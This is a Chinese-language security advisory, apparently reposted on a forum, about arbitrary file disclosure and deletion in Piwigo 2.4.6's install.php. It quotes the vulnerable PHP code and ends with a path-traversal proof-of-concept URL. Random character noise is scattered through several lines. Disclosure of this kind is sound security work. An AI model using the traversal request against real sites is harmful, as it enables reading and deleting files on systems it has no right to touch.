Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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! Q/ ?& v8 o. K' T+ {) [' \0 ?* ]Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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, w: D7 x  B- h( ]6 R/ b, N" b/install.php:
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" t; k  ~9 ~5 V% }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; ]: h9 c" D8 e114: {
( W! Y& y8 E3 Q0 _115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
# M  y  S' P2 y/ _7 \118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) |! x2 t. {/ ~4 ^+ B: C$ t119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
! m0 O( X8 x- v/ m) S! k, }122:   unlink($filename);
123:   exit();
6 Z4 b1 H0 N+ o124: }
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- N0 ~0 L# `; {, H* Z% l, @' R1 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
3 Y" `5 \7 I; W- e1 n6 s8 ?. C4 c           Apache 2.4.2 (Win32)
% s* y4 x3 w0 o; O" A           PHP 5.4.4
           MySQL 5.5.25a
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2 f7 C: {' [% c  a& J5 dVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
+ h: k3 T# P1 k! P, W6 M) dAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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4 Y2 v0 [1 d% `15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt